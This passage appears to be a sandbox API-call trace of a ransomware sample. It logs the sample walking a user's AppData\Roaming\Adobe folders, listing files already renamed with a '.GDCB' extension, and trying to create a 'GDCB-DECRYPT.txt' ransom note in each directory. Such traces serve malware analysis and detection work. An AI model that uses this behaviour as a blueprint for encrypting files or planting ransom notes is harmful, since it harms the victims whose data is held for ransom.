lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\6ttfnwVzD3wR1.wav.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\6ttfnwVzD3wR1.wav.GDCB" [0135.381] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.381] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\6ttfnwVzD3wR1.wav.GDCB") returned 60 [0135.381] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\6ttfnwVzD3wR1.wav.GDCB") returned 60 [0135.381] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.381] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0135.381] lstrcmpW (lpString1="8MU6pxFxklXwXFC.m4a.GDCB", lpString2=".") returned 1 [0135.382] lstrcmpW (lpString1="8MU6pxFxklXwXFC.m4a.GDCB", lpString2="..") returned 1 [0135.382] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="8MU6pxFxklXwXFC.m4a.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8MU6pxFxklXwXFC.m4a.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8MU6pxFxklXwXFC.m4a.GDCB" [0135.382] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.382] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8MU6pxFxklXwXFC.m4a.GDCB") returned 62 [0135.382] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8MU6pxFxklXwXFC.m4a.GDCB") returned 62 [0135.382] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.382] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0135.382] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0135.382] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0135.382] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Adobe" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe" [0135.382] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\" [0135.382] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.382] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.382] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.382] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.382] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.382] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.382] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\") returned 44 [0135.382] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\*" [0135.382] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\*", lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 0x2c7780 [0135.383] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.383] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.383] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.383] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.383] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.383] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0135.383] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0135.383] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="Acrobat" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat" [0135.383] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat") returned 51 [0135.383] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.383] lstrcmpW (lpString1="Flash Player", lpString2=".") returned 1 [0135.383] lstrcmpW (lpString1="Flash Player", lpString2="..") returned 1 [0135.383] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="Flash Player" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player" [0135.383] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player") returned 56 [0135.383] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.383] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.384] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.384] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\GDCB-DECRYPT.txt" [0135.384] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\GDCB-DECRYPT.txt") returned 60 [0135.384] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.384] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.384] lstrcmpW (lpString1="Headlights", lpString2=".") returned 1 [0135.384] lstrcmpW (lpString1="Headlights", lpString2="..") returned 1 [0135.384] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="Headlights" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights" [0135.384] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights") returned 54 [0135.384] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.384] lstrcmpW (lpString1="Linguistics", lpString2=".") returned 1 [0135.384] lstrcmpW (lpString1="Linguistics", lpString2="..") returned 1 [0135.384] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="Linguistics" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics" [0135.384] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics") returned 55 [0135.384] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.384] lstrcmpW (lpString1="LogTransport2", lpString2=".") returned 1 [0135.384] lstrcmpW (lpString1="LogTransport2", lpString2="..") returned 1 [0135.384] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="LogTransport2" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2" [0135.384] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2") returned 57 [0135.384] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.384] lstrcmpW (lpString1="Sonar", lpString2=".") returned 1 [0135.384] lstrcmpW (lpString1="Sonar", lpString2="..") returned 1 [0135.384] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="Sonar" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar" [0135.384] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar") returned 49 [0135.384] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 0 [0135.384] FindClose (in: hFindFile=0x2c7780 | out: hFindFile=0x2c7780) returned 1 [0135.384] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.385] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\\\GDCB-DECRYPT.txt") returned 61 [0135.385] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.386] GetLastError () returned 0x50 [0135.386] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.386] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\") returned 44 [0135.386] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\*" [0135.386] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\*", lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 0x2c7a80 [0135.387] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.387] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0135.387] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.387] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.387] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0135.387] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0135.387] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0135.387] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="Acrobat" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat" [0135.387] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\" [0135.387] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.387] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.387] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.387] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.387] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.387] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.387] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\") returned 52 [0135.387] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\*" [0135.387] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x2c7980 [0135.387] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.387] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.388] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.388] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.388] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.388] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0135.388] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0135.388] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\", lpString2="DC" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC" [0135.388] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC") returned 54 [0135.388] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.388] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.388] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.388] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\GDCB-DECRYPT.txt" [0135.388] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 68 [0135.388] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.388] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0135.388] FindClose (in: hFindFile=0x2c7980 | out: hFindFile=0x2c7980) returned 1 [0135.388] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.388] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\\\GDCB-DECRYPT.txt") returned 69 [0135.388] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.389] GetLastError () returned 0x50 [0135.389] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.389] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\") returned 52 [0135.389] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\*" [0135.389] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x2c77c0 [0135.389] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.389] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.389] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.389] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.389] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.389] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0135.389] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0135.389] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\", lpString2="DC" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC" [0135.389] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\" [0135.389] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.389] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.390] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.390] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.390] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.390] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.390] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\") returned 55 [0135.390] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\*" [0135.390] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x2c7640 [0135.390] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.390] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.390] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.390] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.390] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.390] lstrcmpW (lpString1="Collab", lpString2=".") returned 1 [0135.390] lstrcmpW (lpString1="Collab", lpString2="..") returned 1 [0135.390] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="Collab" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab" [0135.390] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab") returned 61 [0135.390] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.390] lstrcmpW (lpString1="Forms", lpString2=".") returned 1 [0135.390] lstrcmpW (lpString1="Forms", lpString2="..") returned 1 [0135.390] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="Forms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms" [0135.390] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms") returned 60 [0135.390] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.390] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.390] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.390] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt" [0135.390] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 71 [0135.390] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.390] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.390] lstrcmpW (lpString1="JSCache", lpString2=".") returned 1 [0135.390] lstrcmpW (lpString1="JSCache", lpString2="..") returned 1 [0135.390] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="JSCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache" [0135.390] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache") returned 62 [0135.390] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.390] lstrcmpW (lpString1="Security", lpString2=".") returned 1 [0135.390] lstrcmpW (lpString1="Security", lpString2="..") returned 1 [0135.390] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="Security" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security" [0135.390] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security") returned 63 [0135.390] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0135.390] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.390] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.391] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\\\GDCB-DECRYPT.txt") returned 72 [0135.391] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.391] GetLastError () returned 0x50 [0135.391] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.391] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\") returned 55 [0135.391] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\*" [0135.391] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x2c7640 [0135.391] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.391] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.391] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.391] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.391] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.391] lstrcmpW (lpString1="Collab", lpString2=".") returned 1 [0135.391] lstrcmpW (lpString1="Collab", lpString2="..") returned 1 [0135.391] lstrcatW (in: 